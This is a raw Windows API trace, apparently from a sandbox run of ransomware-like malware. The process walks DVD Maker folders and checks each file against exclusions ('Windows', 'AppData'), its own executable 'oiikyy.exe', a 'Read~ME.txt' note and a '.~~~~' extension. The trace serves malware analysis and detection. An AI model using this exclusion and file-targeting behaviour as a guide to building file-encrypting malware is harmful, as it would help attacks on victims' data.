	[0082.212] lstrcmpiW (lpString1="TravelIntroToMainMask.wmv", lpString2="Windows") returned -1
	[0082.212] lstrcmpW (lpString1="TravelIntroToMainMask.wmv", lpString2="oiikyy.exe") returned 1
	[0082.213] StrStrW (lpFirst="TravelIntroToMainMask.wmv", lpSrch=".~~~~") returned 0x0
	[0082.213] lstrcmpW (lpString1="TravelIntroToMainMask.wmv", lpString2="Read~ME.txt") returned 1
	[0082.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bf08
	[0082.213] GetCurrentThreadId () returned 0x618
	[0082.213] RtlWakeConditionVariable () returned 0x365f48
	[0082.213] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x2, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1
	[0082.213] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="Windows") returned -1
	[0082.213] lstrcmpW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0082.213] StrStrW (lpFirst="TravelIntroToMainMask_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0082.213] lstrcmpW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0082.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bf08
	[0082.213] GetCurrentThreadId () returned 0x618
	[0082.213] RtlWakeConditionVariable () returned 0x365f48
	[0082.213] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x2, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1
	[0082.213] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="Windows") returned -1
	[0082.213] lstrcmpW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0082.213] StrStrW (lpFirst="TravelIntroToMain_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0082.213] lstrcmpW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0082.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bf08
	[0082.213] GetCurrentThreadId () returned 0x618
	[0082.213] RtlWakeConditionVariable () returned 0x365f48
	[0082.213] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x2, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0
	[0082.214] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0082.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.216] GetCurrentThreadId () returned 0x618
	[0082.216] RtlWakeConditionVariable () returned 0x365f48
	[0082.216] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1
	[0082.216] lstrcmpiW (lpString1="VideoWall", lpString2="Windows") returned -1
	[0082.216] lstrcmpW (lpString1="VideoWall", lpString2=".") returned 1
	[0082.216] lstrcmpW (lpString1="VideoWall", lpString2="..") returned 1
	[0082.216] lstrcmpW (lpString1="VideoWall", lpString2="AppData") returned 1
	[0082.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall", lpSrch="AppData") returned 0x0
	[0082.216] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.217] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall", lpString2="C:\\Windows") returned -1
	[0082.217] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.217] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall", lpString2="C:\\System Volume Information") returned -1
	[0082.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0082.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0082.217] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.217] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.217] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.217] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.217] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.217] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0082.218] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.218] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.218] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.218] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.218] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.218] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.218] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x2, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0082.218] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="Windows") returned -1
	[0082.218] lstrcmpW (lpString1="203x8subpicture.png", lpString2="oiikyy.exe") returned -1
	[0082.218] StrStrW (lpFirst="203x8subpicture.png", lpSrch=".~~~~") returned 0x0
	[0082.218] lstrcmpW (lpString1="203x8subpicture.png", lpString2="Read~ME.txt") returned -1
	[0082.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.218] GetCurrentThreadId () returned 0x618
	[0082.218] RtlWakeConditionVariable () returned 0x365f48
	[0082.218] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x2, cFileName="videowall.png", cAlternateFileName="")) returned 1
	[0082.218] lstrcmpiW (lpString1="videowall.png", lpString2="Windows") returned -1
	[0082.218] lstrcmpW (lpString1="videowall.png", lpString2="oiikyy.exe") returned 1
	[0082.218] StrStrW (lpFirst="videowall.png", lpSrch=".~~~~") returned 0x0
	[0082.218] lstrcmpW (lpString1="videowall.png", lpString2="Read~ME.txt") returned 1
	[0082.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.218] GetCurrentThreadId () returned 0x618
	[0082.219] RtlWakeConditionVariable () returned 0x365f48
	[0082.219] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x2, cFileName="videowall.png", cAlternateFileName="")) returned 0
	[0082.219] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0082.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.219] GetCurrentThreadId () returned 0x618
	[0082.219] RtlWakeConditionVariable () returned 0x365f48
	[0082.219] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1
	[0082.219] lstrcmpiW (lpString1="Vignette", lpString2="Windows") returned -1
	[0082.219] lstrcmpW (lpString1="Vignette", lpString2=".") returned 1
	[0082.219] lstrcmpW (lpString1="Vignette", lpString2="..") returned 1
	[0082.219] lstrcmpW (lpString1="Vignette", lpString2="AppData") returned 1
	[0082.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette", lpSrch="AppData") returned 0x0
	[0082.219] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.219] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette", lpString2="C:\\Windows") returned -1
	[0082.219] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.219] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette", lpString2="C:\\System Volume Information") returned -1
	[0082.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0082.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0082.400] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.400] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.400] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.400] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.400] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.400] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0082.405] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.405] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.405] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.405] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.415] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.415] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.415] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0082.415] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0082.415] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0082.415] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0082.415] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0082.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0082.415] GetCurrentThreadId () returned 0x618
	[0082.415] RtlWakeConditionVariable () returned 0x365f48
	[0082.415] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x2, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0082.415] lstrcmpiW (lpString1="15x15dot.png", lpString2="Windows") returned -1
	[0082.431] lstrcmpW (lpString1="15x15dot.png", lpString2="oiikyy.exe") returned -1
	[0082.431] StrStrW (lpFirst="15x15dot.png", lpSrch=".~~~~") returned 0x0
	[0082.431] lstrcmpW (lpString1="15x15dot.png", lpString2="Read~ME.txt") returned -1
	[0082.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.431] GetCurrentThreadId () returned 0x618
	[0082.431] RtlWakeConditionVariable () returned 0x365f48
	[0082.431] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0082.431] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0082.431] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0082.432] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0082.432] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0082.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.432] GetCurrentThreadId () returned 0x618
	[0082.432] RtlWakeConditionVariable () returned 0x365f48
	[0082.432] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0082.432] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0082.432] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0082.432] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0082.432] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0082.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.432] GetCurrentThreadId () returned 0x618
	[0082.432] RtlWakeConditionVariable () returned 0x365f48
	[0082.432] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0082.432] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0082.433] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0082.433] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0082.433] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0082.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.433] GetCurrentThreadId () returned 0x618
	[0082.433] RtlWakeConditionVariable () returned 0x365f48
	[0082.433] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0082.433] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0082.433] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0082.433] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0082.433] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0082.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f13d0
	[0082.433] GetCurrentThreadId () returned 0x618
	[0082.433] RtlWakeConditionVariable () returned 0x365f48
	[0082.433] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0082.433] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0082.433] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0082.433] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0082.433] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0082.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bd98
	[0082.433] GetCurrentThreadId () returned 0x618
	[0082.433] RtlWakeConditionVariable () returned 0x365f48
	[0082.433] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0082.433] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0082.434] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0082.434] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0082.434] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0082.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.434] GetCurrentThreadId () returned 0x618
	[0082.434] RtlWakeConditionVariable () returned 0x365f48
	[0082.434] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x2, cFileName="softedges.png", cAlternateFileName="")) returned 1
	[0082.434] lstrcmpiW (lpString1="softedges.png", lpString2="Windows") returned -1
	[0082.434] lstrcmpW (lpString1="softedges.png", lpString2="oiikyy.exe") returned 1
	[0082.434] StrStrW (lpFirst="softedges.png", lpSrch=".~~~~") returned 0x0
	[0082.434] lstrcmpW (lpString1="softedges.png", lpString2="Read~ME.txt") returned 1
	[0082.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.434] GetCurrentThreadId () returned 0x618
	[0082.434] RtlWakeConditionVariable () returned 0x365f48
	[0082.434] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x2, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1
	[0082.434] lstrcmpiW (lpString1="vignettemask25.png", lpString2="Windows") returned -1
	[0082.434] lstrcmpW (lpString1="vignettemask25.png", lpString2="oiikyy.exe") returned 1
	[0082.434] StrStrW (lpFirst="vignettemask25.png", lpSrch=".~~~~") returned 0x0
	[0082.434] lstrcmpW (lpString1="vignettemask25.png", lpString2="Read~ME.txt") returned 1
	[0082.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e82c0
	[0082.434] GetCurrentThreadId () returned 0x618
	[0082.434] RtlWakeConditionVariable () returned 0x365f48
	[0082.434] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x2, cFileName="whiteband.png", cAlternateFileName="")) returned 1
	[0082.435] lstrcmpiW (lpString1="whiteband.png", lpString2="Windows") returned -1
	[0082.435] lstrcmpW (lpString1="whiteband.png", lpString2="oiikyy.exe") returned 1
	[0082.435] StrStrW (lpFirst="whiteband.png", lpSrch=".~~~~") returned 0x0
	[0082.435] lstrcmpW (lpString1="whiteband.png", lpString2="Read~ME.txt") returned 1
	[0082.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.435] GetCurrentThreadId () returned 0x618
	[0082.435] RtlWakeConditionVariable () returned 0x365f48
